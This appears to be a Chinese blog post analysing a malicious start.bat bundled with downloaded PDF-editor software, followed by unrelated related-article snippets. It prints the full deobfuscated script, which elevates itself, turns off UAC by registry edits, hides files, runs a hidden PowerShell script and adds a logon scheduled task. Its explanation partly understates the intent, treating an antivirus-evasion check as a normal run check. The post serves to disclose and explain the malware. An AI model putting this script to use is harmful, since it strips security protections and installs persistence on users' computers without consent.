记录一次病毒启动脚本
在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:
@echo offPUSHD %~DP0 & cd /d "%~dp0"
%1 %2mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:targetreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nulcd /d bin
attrib +s +h PDFeditorPortable.execd /d re\libstart powershell -windowstyle hidden .\add.ps1 >nul 2>nulfor /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%iif %f% equ 5 (cd ..cd ..start PDFeditorPortable.execd re\libSchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul) else (echo=echo 运行过程被杀软干扰,可通过以下方法恢复:echo=echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件echo=echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件echo=pause
)setlocal enabledelayedexpansion
set line=0
for /f %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)set /a B = %A% / 2set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nulcall CrashReporting2.batexit
这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:
代码解析
-
@echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。 -
PUSHD %~DP0 & cd /d "%~dp0":PUSHD %~DP0:将当前目录更改为脚本所在的目录。cd /d "%~dp0":确保切换到该目录。
-
%1 %2: 执行传递给脚本的第一个和第二个参数。 -
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:- 使用
mshta运行 VBScript,以管理员权限重新执行当前脚本,并跳转到:target标签。 window.close在执行后关闭窗口。&goto :eof确保脚本在此处结束,不继续执行后面的代码。
- 使用
-
:target: 标签,后面的代码将在跳转到此标签时执行。 -
修改注册表:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:- 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:- 禁用用户帐户控制 (UAC)。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:- 关闭安全桌面上的提示。
-
cd /d bin: 切换到bin目录。 -
attrib +s +h PDFeditorPortable.exe: 将PDFeditorPortable.exe文件设置为系统文件和隐藏文件。 -
cd /d re\lib: 切换到re\lib目录。 -
start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:- 在隐藏窗口中启动一个 PowerShell 脚本
add.ps1,并将输出重定向到空设备。
- 在隐藏窗口中启动一个 PowerShell 脚本
-
for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:- 计算当前目录及子目录下的文件数量,并将结果存储在变量
f中。
- 计算当前目录及子目录下的文件数量,并将结果存储在变量
-
条件判断:
if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行else部分。- 如果文件数量为 5,切换到上级目录,启动
PDFeditorPortable.exe,并创建一个名为CrashReporting的计划任务。 - 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
-
获取逻辑处理器数量:
- 通过
wmic cpu get NumberOfLogicalProcessors获取逻辑处理器数量,并将其存储在变量A中。 - 计算
B为A的一半。
- 通过
-
更新
CrashReporting2.bat文件:- 将
CrashReporting2.bat文件中的某些内容替换为计算得到的B值,并将结果输出到临时文件temp1126.txt中,最后移动回原文件。
- 将
-
调用
CrashReporting2.bat: 执行CrashReporting2.bat文件。 -
exit: 结束批处理脚本的执行。
总结
这个批处理脚本的主要功能是:
- 修改系统的 UAC 设置以降低安全性。
- 启动和配置某个 PDF 编辑器。
- 处理文件数量检查,确保程序正常运行。
- 更新并执行一个名为
CrashReporting2.bat的脚本。
由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281
相关文章:
记录一次病毒启动脚本
在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者: 病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理…...
2019~2023博文汇总目录
2023 大厂实践 - 哈啰:记录一次ElasticSearch的查询性能优化-CSDN博客 Shiro安全框架-CSDN博客 MQ知识点汇总-CSDN博客 工作学习记录-CSDN博客 后端架构师技术图谱-CSDN博客 2020 Elasticsearch相关技术点_elasticsearch技术点-CSDN博客 Kafka相关技术点_kafka…...
springboot项目配置部分依赖从私服拉取,部分从阿里云拉取
在Java项目中,配置部分依赖从私服拉取,部分从阿里云拉取,可以在Maven的配置文件settings.xml中设置多个镜像,Maven会根据镜像的顺序尝试下载依赖。 配置私服镜像:首先配置你的私服镜像,例如Nexus私服&…...
返回索引对象中各元素的数据类型 pandas.Index.dtype
【小白从小学Python、C、Java】 【考研初试复试毕业设计】 【Python基础AI数据分析】 返回索引对象中 各元素的数据类型 pandas.Index.dtype [太阳]选择题 根据题目代码,执行idx3.dtype的结果是? import pandas as pd idx1 pd.Index([1, 2, 3, 4, 5])…...
通过freepbx搭建小型电话系统的过程
领导说公司的客服电话需要实现语音导航和非工作时间自动接听播放语音提示的功能。任务自然落到了伟大的程序员的头上,本着为公司节约成本原则遂百度了一番,找到了asterisk 和freeswitch两个比较流行的电话系统。经过对比和考虑公司的情况选择了asterisk系…...
pdf处理1
处理PDF文件以构建数据索引是一个复杂但关键的步骤,尤其是因为PDF格式的文件通常包含多种元素,如文本、图片、表格、标题等。以下是一个通俗易懂的详细解释,帮助你理解PDF文件是如何被处理和解析的: 1. PDF文件的基本结构 PDF&a…...
区间覆盖(贪心)
给定 NN 个闭区间 [ai,bi][ai,bi] 以及一个线段区间 [s,t][s,t],请你选择尽量少的区间,将指定线段区间完全覆盖。 输出最少区间数,如果无法完全覆盖则输出 −1−1。 输入格式 第一行包含两个整数 ss 和 tt,表示给定线段区间的两…...
[rk3588 debain]cpu死锁问题解决
1 问题 rk3588机器上运行客户如下程序程序发生“BUG: spinlock recursion on CPU#0” ./rtsp RtspWrapper.xml 应用程序功能是:ip摄像头推流,通过rtsp协议拉流,对视频流做裁剪,缩放工作。首先,根据视频帧率每秒钟处理…...
CMU 10423 Generative AI:lec18(大模型的分布式训练)
这个文档主要讲解了分布式训练(Distributed Training),特别是如何在多GPU上训练大规模的语言模型。以下是主要内容的概述: 1. 问题背景 训练大规模语言模型的主要挑战是内存消耗。 训练过程中,内存消耗主要来源于两个…...
项目级别的配置文件 `.git/config`||全局配置文件 `~/.gitconfig`
Git 项目级别的配置文件 .git/config,该文件包含了当前项目(仓库)的特定配置。 与全局配置文件 ~/.gitconfig 不同,这里的设置仅对当前项目生效。 配置内容解释 [core]repositoryformatversion 0filemode truebare falselog…...
【Docker】配置文件
问题 学习Docker期间会涉及到docker的很多配置文件,可能会涉及到的会有: /usr/lib/systemd/system/docker.service 【docker用于被systemd管理的配置文件】 /etc/systemd/system/docker.service.d【覆盖配置文件的存放处】 /etc/systemd/system/mul…...
坐标系变换总结
二维情况下的转换 1 缩放变换 形象理解就是图像在x方向和y方向上放大或者缩小。 代数形式: { x ′ k x x y ′ k y y \begin{cases} x k_x x \\ y k_y y \end{cases} {x′kxxy′kyy 矩阵形式: ( x ′ y ′ ) ( k x 0 0 k y ) ( x y ) \be…...
数据在内存中的存储【上】
一.整型在内存中的存储 在讲解操作符的时候,我们就讲过了下面的内容: 整数的2进制表示方法有三种,即 原码、反码和补码 有符号的整数,三种表示方法均有符号位和数值位两部分,符号位都是用0表示"正"ÿ…...
Prometheus之Pushgateway使用
Pushgateway属于整个架构图的这一部分 The Pushgateway is an intermediary service which allows you to push metrics from jobs which cannot be scraped. The Prometheus Pushgateway exists to allow ephemeral and batch jobs to expose their metrics to Prometheus. S…...
Rust Web开发常用库
本集合中所有库都是在开源项目中广泛使用且在2024年积极维护的库,排名靠前的库是当前使用比较广泛的,不全面但够用 Rust异步运行时 tokio:异步运行时 async_std:与标准库兼容性较强的运行时 monoio:字节开源 smol…...
ios内购支付-支付宝APP支付提现
文章目录 前言一、IOS内购支付(ios订单生成自己写逻辑即可)1.支付回调票据校验controller1.支付回调票据校验server 二、安卓APP支付宝支付1.生成订单返回支付宝字符串(用于app拉起支付宝,这里用的是证书模式)2.生成订…...
新课发布|鸿蒙HarmonyOS Next商城APP应用开发实战
2024年年初,鸿蒙HarmonyOS Next星河版强势发布,随着鸿蒙系统的普及和应用场景的拓展,市场需求将持续增加。鸿蒙系统已经应用于华为的智能手机、平板电脑、智能家居等多个领域,并有望在未来拓展到智能汽车、物联网等更多领域。这为…...
基于Java,SpringBoot,Vue智慧校园健康驿站体检论坛请假管理系统
摘要 互联网发展至今,无论是其理论还是技术都已经成熟,而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播,搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱,出错率高,信息安全性差…...
【数据分享】2001-2023年我国省市县镇四级的逐月平均气温数据(免费获取/Shp/Excel格式)
之前我们分享过1901-2023年1km分辨率逐月平均气温栅格数据,该数据来源于国家青藏高原科学数据中心。为方便大家使用,我们还基于上述平均气温栅格数据将数据处理为Shp和Excel格式的省市县三级逐月平均气温数据(可查看之前的文章获悉详情&#…...
c#代码介绍23种设计模式_16迭代器模式
目录 1、迭代器模式的介绍 2、迭代器模式的定义 3、迭代器模式的结构 4、代器模式角色组成 5、迭代器实现 6、迭代器模式的适用场景 7、迭代器模式的优缺点 8、.NET中迭代器模式的应用 9、实现思路 1、迭代器模式的介绍 迭代器是针对集合对象而生的,对于集合对象而言…...
利用最小二乘法找圆心和半径
#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
RocketMQ延迟消息机制
两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数,对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后…...
通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
怎么让Comfyui导出的图像不包含工作流信息,
为了数据安全,让Comfyui导出的图像不包含工作流信息,导出的图像就不会拖到comfyui中加载出来工作流。 ComfyUI的目录下node.py 直接移除 pnginfo(推荐) 在 save_images 方法中,删除或注释掉所有与 metadata …...
WebRTC从入门到实践 - 零基础教程
WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC? WebRTC(Web Real-Time Communication)是一个支持网页浏览器进行实时语音…...
